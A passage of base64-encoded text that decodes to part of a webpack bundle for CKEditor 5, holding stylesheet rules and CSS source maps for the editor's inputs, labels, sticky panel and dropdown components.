eXBlPSJwYXNzd29yZCJdIHtcblx0XHRjdXJzb3I6IHRleHQ7XG5cdH1cblxuXHQmIHRleHRhcmVhW2Rpc2FibGVkXSxcblx0JiBpbnB1dFt0eXBlPSJ0ZXh0Il1bZGlzYWJsZWRdLFxuXHQmIGlucHV0W3R5cGU9InBhc3N3b3JkIl1bZGlzYWJsZWRdIHtcblx0XHRjdXJzb3I6IGRlZmF1bHQ7XG5cdH1cblxuXHQmIGZpZWxkc2V0IHtcblx0XHRwYWRkaW5nOiAxMHB4O1xuXHRcdGJvcmRlcjogMnB4IGdyb292ZSBoc2woMjU1LCA3JSwgODglKTtcblx0fVxuXG5cdCYgYnV0dG9uOjotbW96LWZvY3VzLWlubmVyIHtcblx0XHQvKiBTZWUgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL3F1ZXN0aW9ucy81NTE3NzQ0L3JlbW92ZS1leHRyYS1idXR0b24tc3BhY2luZy1wYWRkaW5nLWluLWZpcmVmb3ggKi9cblx0XHRwYWRkaW5nOiAwO1xuXHRcdGJvcmRlcjogMFxuXHR9XG59XG5cbi8qKlxuICogRGVmYXVsdCBVSSBydWxlcyBmb3IgUlRMIGxhbmd1YWdlcy5cbiAqL1xuLmNrW2Rpcj0icnRsIl0sXG4uY2tbZGlyPSJydGwiXSAuY2sge1xuXHR0ZXh0LWFsaWduOiByaWdodDtcbn1cbicsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBEZWZhdWx0IGJvcmRlci1yYWRpdXMgdmFsdWUuXG4gKi9cbjpyb290e1xuXHQtLWNrLWJvcmRlci1yYWRpdXM6IDJweDtcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQvKipcblx0ICogQSB2aXN1YWwgc3R5bGUgb2YgZWxlbWVudCdzIGlubmVyIHNoYWRvdyAoaS5lLiBpbnB1dCkuXG5cdCAqL1xuXHQtLWNrLWlubmVyLXNoYWRvdzogMnB4IDJweCAzcHggdmFyKC0tY2stY29sb3Itc2hhZG93LWlubmVyKSBpbnNldDtcblxuXHQvKipcblx0ICogQSB2aXN1YWwgc3R5bGUgb2YgZWxlbWVudCdzIGRyb3Agc2hhZG93IChpLmUuIHBhbmVsKS5cblx0ICovXG5cdC0tY2stZHJvcC1zaGFkb3c6IDAgMXB4IDJweCAxcHggdmFyKC0tY2stY29sb3Itc2hhZG93LWRyb3ApO1xuXG5cdC8qKlxuXHQgKiBBIHZpc3VhbCBzdHlsZSBvZiBlbGVtZW50J3MgYWN0aXZlIHNoYWRvdyAoaS5lLiBjb21tZW50IG9yIHN1Z2dlc3Rpb24pLlxuXHQgKi9cblx0LS1jay1kcm9wLXNoYWRvdy1hY3RpdmU6IDAgM3B4IDZweCAxcHggdmFyKC0tY2stY29sb3Itc2hhZG93LWRyb3AtYWN0aXZlKTtcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuOnJvb3Qge1xuXHQtLWNrLXNwYWNpbmctdW5pdDogXHRcdFx0XHRcdFx0MC42ZW07XG5cdC0tY2stc3BhY2luZy1sYXJnZTogXHRcdFx0XHRcdGNhbGModmFyKC0tY2stc3BhY2luZy11bml0KSAqIDEuNSk7XG5cdC0tY2stc3BhY2luZy1zdGFuZGFyZDogXHRcdFx0XHRcdHZhcigtLWNrLXNwYWNpbmctdW5pdCk7XG5cdC0tY2stc3BhY2luZy1tZWRpdW06IFx0XHRcdFx0XHRjYWxjKHZhcigtLWNrLXNwYWNpbmctdW5pdCkgKiAwLjgpO1xuXHQtLWNrLXNwYWNpbmctc21hbGw6IFx0XHRcdFx0XHRjYWxjKHZhcigtLWNrLXNwYWNpbmctdW5pdCkgKiAwLjUpO1xuXHQtLWNrLXNwYWNpbmctdGlueTogXHRcdFx0XHRcdFx0Y2FsYyh2YXIoLS1jay1zcGFjaW5nLXVuaXQpICogMC4zKTtcblx0LS1jay1zcGFjaW5nLWV4dHJhLXRpbnk6IFx0XHRcdFx0Y2FsYyh2YXIoLS1jay1zcGFjaW5nLXVuaXQpICogMC4xNik7XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCI6cm9vdHstLWNrLWNvbG9yLWVkaXRhYmxlLWJsdXItc2VsZWN0aW9uOiNkOWQ5ZDl9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZSl7Ym9yZGVyLXJhZGl1czowfS5jay1yb3VuZGVkLWNvcm5lcnMgLmNrLmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZSksLmNrLmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZSkuY2stcm91bmRlZC1jb3JuZXJze2JvcmRlci1yYWRpdXM6dmFyKC0tY2stYm9yZGVyLXJhZGl1cyl9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZSkuY2stZm9jdXNlZHtvdXRsaW5lOm5vbmU7Ym9yZGVyOnZhcigtLWNrLWZvY3VzLXJpbmcpO2JveC1zaGFkb3c6dmFyKC0tY2staW5uZXItc2hhZG93KSwwIDB9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGVfaW5saW5le292ZXJmbG93OmF1dG87cGFkZGluZzowIHZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpO2JvcmRlcjoxcHggc29saWQgdHJhbnNwYXJlbnR9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGVfaW5saW5lW2Rpcj1sdHJde3RleHQtYWxpZ246bGVmdH0uY2suY2stZWRpdG9yX19lZGl0YWJsZV9pbmxpbmVbZGlyPXJ0bF17dGV4dC1hbGlnbjpyaWdodH0uY2suY2stZWRpdG9yX19lZGl0YWJsZV9pbmxpbmU+OmZpcnN0LWNoaWxke21hcmdpbi10b3A6dmFyKC0tY2stc3BhY2luZy1sYXJnZSl9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGVfaW5saW5lPjpsYXN0LWNoaWxke21hcmdpbi1ib3R0b206dmFyKC0tY2stc3BhY2luZy1sYXJnZSl9LmNrLmNrLWVkaXRvcl9fZWRpdGFibGVfaW5saW5lLmNrLWJsdXJyZWQgOjpzZWxlY3Rpb257YmFja2dyb3VuZDp2YXIoLS1jay1jb2xvci1lZGl0YWJsZS1ibHVyLXNlbGVjdGlvbil9LmNrLmNrLWJhbGxvb24tcGFuZWwuY2stdG9vbGJhci1jb250YWluZXJbY2xhc3MqPWFycm93X25dOmFmdGVye2JvcmRlci1ib3R0b20tY29sb3I6dmFyKC0tY2stY29sb3ItYmFzZS1mb3JlZ3JvdW5kKX0uY2suY2stYmFsbG9vbi1wYW5lbC5jay10b29sYmFyLWNvbnRhaW5lcltjbGFzcyo9YXJyb3dfc106YWZ0ZXJ7Ym9yZGVyLXRvcC1jb2xvcjp2YXIoLS1jay1jb2xvci1iYXNlLWZvcmVncm91bmQpfSIsIiIse3ZlcnNpb246Myxzb3VyY2VzOlsid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdWkvY29tcG9uZW50cy9lZGl0b3J1aS9lZGl0b3J1aS5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL21peGlucy9fcm91bmRlZC5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL3RoZW1lL21peGlucy9fZm9jdXMuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9taXhpbnMvX3NoYWRvdy5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFXQSxNQUNDLDBDQUNELENBRUEseURDSkMsZURXRCxDQVBBLHlKQ0FFLHFDRE9GLENBSkMsb0VFUkEsWUFBYSxDQUNiLDJCQUEyQixDQ0YzQixxQ0hZQSxDQUdELCtCQUNDLGFBQWMsQ0FDZCxvQ0FBcUMsQ0FDckMsNEJBd0JELENBdEJDLHdDQUNDLGVBQ0QsQ0FFQSx3Q0FDQyxnQkFDRCxDQUdBLDRDQUNDLGtDQUNELENBR0EsMkNBQ0MscUNBQ0QsQ0FHQSxzREFDQyxrREFDRCxDQUtBLGdFQUNDLG1EQUNELENBSUEsZ0VBQ0MsZ0RBQ0QiLHNvdXJjZXNDb250ZW50OlsnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX3JvdW5kZWQuY3NzIjtcbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fZGlzYWJsZWQuY3NzIjtcbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fc2hhZG93LmNzcyI7XG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX2ZvY3VzLmNzcyI7XG5AaW1wb3J0ICIuLi8uLi9taXhpbnMvX2J1dHRvbi5jc3MiO1xuXG46cm9vdCB7XG5cdC0tY2stY29sb3ItZWRpdGFibGUtYmx1ci1zZWxlY3Rpb246IGhzbCgwLCAwJSwgODUlKTtcbn1cblxuLmNrLmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1lZGl0b3JfX25lc3RlZC1lZGl0YWJsZSkge1xuXHRAbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzO1xuXG5cdCYuY2stZm9jdXNlZCB7XG5cdFx0QG1peGluIGNrLWZvY3VzLXJpbmc7XG5cdFx0QG1peGluIGNrLWJveC1zaGFkb3cgdmFyKC0tY2staW5uZXItc2hhZG93KTtcblx0fVxufVxuXG4uY2suY2stZWRpdG9yX19lZGl0YWJsZV9pbmxpbmUge1xuXHRvdmVyZmxvdzogYXV0bztcblx0cGFkZGluZzogMCB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcblx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cblx0JltkaXI9Imx0ciJdIHtcblx0XHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHR9XG5cblx0JltkaXI9InJ0bCJdIHtcblx0XHR0ZXh0LWFsaWduOiByaWdodDtcblx0fVxuXG5cdC8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay9pc3N1ZXMvMTE2ICovXG5cdCYgPiAqOmZpcnN0LWNoaWxkIHtcblx0XHRtYXJnaW4tdG9wOiB2YXIoLS1jay1zcGFjaW5nLWxhcmdlKTtcblx0fVxuXG5cdC8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzg0NyAqL1xuXHQmID4gKjpsYXN0LWNoaWxkIHtcblx0XHRtYXJnaW4tYm90dG9tOiB2YXIoLS1jay1zcGFjaW5nLWxhcmdlKTtcblx0fVxuXG5cdC8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzY1MTcgKi9cblx0Ji5jay1ibHVycmVkIDo6c2VsZWN0aW9uIHtcblx0XHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci1lZGl0YWJsZS1ibHVyLXNlbGVjdGlvbik7XG5cdH1cbn1cblxuLyogaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL2lzc3Vlcy8xMTEgKi9cbi5jay5jay1iYWxsb29uLXBhbmVsLmNrLXRvb2xiYXItY29udGFpbmVyW2NsYXNzKj0iYXJyb3dfbiJdIHtcblx0Jjo6YWZ0ZXIge1xuXHRcdGJvcmRlci1ib3R0b20tY29sb3I6IHZhcigtLWNrLWNvbG9yLWJhc2UtZm9yZWdyb3VuZCk7XG5cdH1cbn1cblxuLmNrLmNrLWJhbGxvb24tcGFuZWwuY2stdG9vbGJhci1jb250YWluZXJbY2xhc3MqPSJhcnJvd19zIl0ge1xuXHQmOjphZnRlciB7XG5cdFx0Ym9yZGVyLXRvcC1jb2xvcjogdmFyKC0tY2stY29sb3ItYmFzZS1mb3JlZ3JvdW5kKTtcblx0fVxufVxuJywiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEltcGxlbWVudHMgcm91bmRlZCBjb3JuZXIgaW50ZXJmYWNlIGZvciAuY2stcm91bmRlZC1jb3JuZXJzIGNsYXNzLlxuICpcbiAqIEBzZWUgJGNrLWJvcmRlci1yYWRpdXNcbiAqL1xuQGRlZmluZS1taXhpbiBjay1yb3VuZGVkLWNvcm5lcnMge1xuXHRib3JkZXItcmFkaXVzOiAwO1xuXG5cdEBuZXN0IC5jay1yb3VuZGVkLWNvcm5lcnMgJixcblx0Ji5jay1yb3VuZGVkLWNvcm5lcnMge1xuXHRcdGJvcmRlci1yYWRpdXM6IHZhcigtLWNrLWJvcmRlci1yYWRpdXMpO1xuXHRcdEBtaXhpbi1jb250ZW50O1xuXHR9XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogQSB2aXN1YWwgc3R5bGUgb2YgZm9jdXNlZCBlbGVtZW50J3MgYm9yZGVyLlxuICovXG5AZGVmaW5lLW1peGluIGNrLWZvY3VzLXJpbmcge1xuXHQvKiBEaXNhYmxlIG5hdGl2ZSBvdXRsaW5lLiAqL1xuXHRvdXRsaW5lOiBub25lO1xuXHRib3JkZXI6IHZhcigtLWNrLWZvY3VzLXJpbmcpXG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogQSBoZWxwZXIgdG8gY29tYmluZSBtdWx0aXBsZSBzaGFkb3dzLlxuICovXG5AZGVmaW5lLW1peGluIGNrLWJveC1zaGFkb3cgJHNoYWRvd0EsICRzaGFkb3dCOiAwIDAge1xuXHRib3gtc2hhZG93OiAkc2hhZG93QSwgJHNoYWRvd0I7XG59XG5cbi8qKlxuICogR2l2ZXMgYW4gZWxlbWVudCBhIGRyb3Agc2hhZG93IHNvIGl0IGxvb2tzIGxpa2UgYSBmbG9hdGluZyBwYW5lbC5cbiAqL1xuQGRlZmluZS1taXhpbiBjay1kcm9wLXNoYWRvdyB7XG5cdEBtaXhpbiBjay1ib3gtc2hhZG93IHZhcigtLWNrLWRyb3Atc2hhZG93KTtcbn1cbiJdLHNvdXJjZVJvb3Q6IiJ9XSk7ZVsiYSJdPWF9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7dmFyIGk9bigyKTt2YXIgbz1uLm4oaSk7dmFyIHI9bigzKTt2YXIgcz1uLm4ocik7dmFyIGE9cygpKG8uYSk7YS5wdXNoKFt0LmksIi5jay5jay1sYWJlbHtkaXNwbGF5OmJsb2NrfS5jay5jay12b2ljZS1sYWJlbHtkaXNwbGF5Om5vbmV9LmNrLmNrLWxhYmVse2ZvbnQtd2VpZ2h0OjcwMH0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvbGFiZWwvbGFiZWwuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdWkvY29tcG9uZW50cy9sYWJlbC9sYWJlbC5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFLQSxhQUNDLGFBQ0QsQ0FFQSxtQkFDQyxZQUNELENDTkEsYUFDQyxlQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrLmNrLWxhYmVsIHtcblx0ZGlzcGxheTogYmxvY2s7XG59XG5cbi5jay5jay12b2ljZS1sYWJlbCB7XG5cdGRpc3BsYXk6IG5vbmU7XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay5jay1sYWJlbCB7XG5cdGZvbnQtd2VpZ2h0OiBib2xkO1xufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLmNrLXN0aWNreS1wYW5lbCAuY2stc3RpY2t5LXBhbmVsX19jb250ZW50X3N0aWNreXt6LWluZGV4OnZhcigtLWNrLXotbW9kYWwpO3Bvc2l0aW9uOmZpeGVkO3RvcDowfS5jay5jay1zdGlja3ktcGFuZWwgLmNrLXN0aWNreS1wYW5lbF9fY29udGVudF9zdGlja3lfYm90dG9tLWxpbWl0e3RvcDphdXRvO3Bvc2l0aW9uOmFic29sdXRlfS5jay5jay1zdGlja3ktcGFuZWwgLmNrLXN0aWNreS1wYW5lbF9fY29udGVudF9zdGlja3l7Ym94LXNoYWRvdzp2YXIoLS1jay1kcm9wLXNoYWRvdyksMCAwO2JvcmRlci13aWR0aDowIDFweCAxcHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czowO2JvcmRlci10b3AtcmlnaHQtcmFkaXVzOjB9IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9jb21wb25lbnRzL3BhbmVsL3N0aWNreXBhbmVsLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvcGFuZWwvc3RpY2t5cGFuZWwuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9taXhpbnMvX3NoYWRvdy5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFNQyxxREFDQyx5QkFBMEIsQ0FDMUIsY0FBZSxDQUNmLEtBQ0QsQ0FFQSxrRUFDQyxRQUFTLENBQ1QsaUJBQ0QsQ0NQQSxxRENDQSxvQ0FBOEIsQ0RFN0Isc0JBQXVCLENBQ3ZCLHdCQUF5QixDQUN6Qix5QkFDRCIsc291cmNlc0NvbnRlbnQ6WyIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay5jay1zdGlja3ktcGFuZWwge1xuXHQmIC5jay1zdGlja3ktcGFuZWxfX2NvbnRlbnRfc3RpY2t5IHtcblx0XHR6LWluZGV4OiB2YXIoLS1jay16LW1vZGFsKTsgLyogIzMxNSAqL1xuXHRcdHBvc2l0aW9uOiBmaXhlZDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHQmIC5jay1zdGlja3ktcGFuZWxfX2NvbnRlbnRfc3RpY2t5X2JvdHRvbS1saW1pdCB7XG5cdFx0dG9wOiBhdXRvO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0fVxufVxuIiwnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX3NoYWRvdy5jc3MiO1xuXG4uY2suY2stc3RpY2t5LXBhbmVsIHtcblx0JiAuY2stc3RpY2t5LXBhbmVsX19jb250ZW50X3N0aWNreSB7XG5cdFx0QG1peGluIGNrLWRyb3Atc2hhZG93O1xuXG5cdFx0Ym9yZGVyLXdpZHRoOiAwIDFweCAxcHg7XG5cdFx0Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czogMDtcblx0XHRib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcblx0fVxufVxuJywiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEEgaGVscGVyIHRvIGNvbWJpbmUgbXVsdGlwbGUgc2hhZG93cy5cbiAqL1xuQGRlZmluZS1taXhpbiBjay1ib3gtc2hhZG93ICRzaGFkb3dBLCAkc2hhZG93QjogMCAwIHtcblx0Ym94LXNoYWRvdzogJHNoYWRvd0EsICRzaGFkb3dCO1xufVxuXG4vKipcbiAqIEdpdmVzIGFuIGVsZW1lbnQgYSBkcm9wIHNoYWRvdyBzbyBpdCBsb29rcyBsaWtlIGEgZmxvYXRpbmcgcGFuZWwuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stZHJvcC1zaGFkb3cge1xuXHRAbWl4aW4gY2stYm94LXNoYWRvdyB2YXIoLS1jay1kcm9wLXNoYWRvdyk7XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCIuY2suY2stZHJvcGRvd257ZGlzcGxheTppbmxpbmUtYmxvY2s7cG9zaXRpb246cmVsYXRpdmV9LmNrLmNrLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fYXJyb3d7cG9pbnRlci1ldmVudHM6bm9uZTt6LWluZGV4OnZhcigtLWNrLXotZGVmYXVsdCl9LmNrLmNrLWRyb3Bkb3duIC5jay1idXR0b24uY2stZHJvcGRvd25fX2J1dHRvbnt3aWR0aDoxMDAlfS5jay5jay1kcm9wZG93biAuY2stYnV0dG9uLmNrLWRyb3Bkb3duX19idXR0b24uY2stb24gLmNrLXRvb2x0aXB7ZGlzcGxheTpub25lfS5jay5jay1kcm9wZG93biAuY2stZHJvcGRvd25fX3BhbmVsey13ZWJraXQtYmFja2ZhY2UtdmlzaWJpbGl0eTpoaWRkZW47ZGlzcGxheTpub25lO3otaW5kZXg6dmFyKC0tY2stei1tb2RhbCk7cG9zaXRpb246YWJzb2x1dGV9LmNrLmNrLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fcGFuZWwuY2stZHJvcGRvd25fX3BhbmVsLXZpc2libGV7ZGlzcGxheTppbmxpbmUtYmxvY2t9LmNrLmNrLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fcGFuZWwuY2stZHJvcGRvd25fX3BhbmVsX25lLC5jay5jay1kcm9wZG93biAuY2stZHJvcGRvd25fX3BhbmVsLmNrLWRyb3Bkb3duX19wYW5lbF9ud3tib3R0b206MTAwJX0uY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbC5jay1kcm9wZG93bl9fcGFuZWxfc2UsLmNrLmNrLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fcGFuZWwuY2stZHJvcGRvd25fX3BhbmVsX3N3e3RvcDoxMDAlO2JvdHRvbTphdXRvfS5jay5jay1kcm9wZG93biAuY2stZHJvcGRvd25fX3BhbmVsLmNrLWRyb3Bkb3duX19wYW5lbF9uZSwuY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbC5jay1kcm9wZG93bl9fcGFuZWxfc2V7bGVmdDowfS5jay5jay1kcm9wZG93biAuY2stZHJvcGRvd25fX3BhbmVsLmNrLWRyb3Bkb3duX19wYW5lbF9udywuY2suY2stZHJvcGRvd24gLmNrLWRyb3Bkb3duX19wYW5lbC5jay1kcm9wZG93bl9fcGFuZWxfc3d7cmlnaHQ6MH0uY2suY2stdG9vbGJhciAuY2stZHJvcGRvd25fX3BhbmVse3otaW5kZXg6Y2FsYyh2YXIoLS1jay16LW1vZGFsKSArIDEpfTpyb290ey0tY2stZHJvcGRvd24tYXJyb3ctc2l6ZTpjYWxjKHZhcigtLWNrLWljb24tc2l6ZSkqMC41KX0uY2suY2stZHJvcGRvd257Zm9udC1zaXplOmluaGVyaXR9LmNrLmNrLWRyb3Bkb3duIC5jay1kcm9wZG93bl9fYXJyb3d7d2lkdGg6dmFyKC0tY2stZHJvcGRvd24tYXJyb3ctc2l6ZSl9W2Rpcj1sdHJdIC5jay5jay1kcm9wZG93biAuY2stZHJvcGRvd25fX2Fycm93e3JpZ2h0OnZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpO21hcmdpbi1sZWZ0OnZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpfVtkaXI9cnRsXSAuY2suY2stZHJvcGRvd24gLmNrLWRyb3B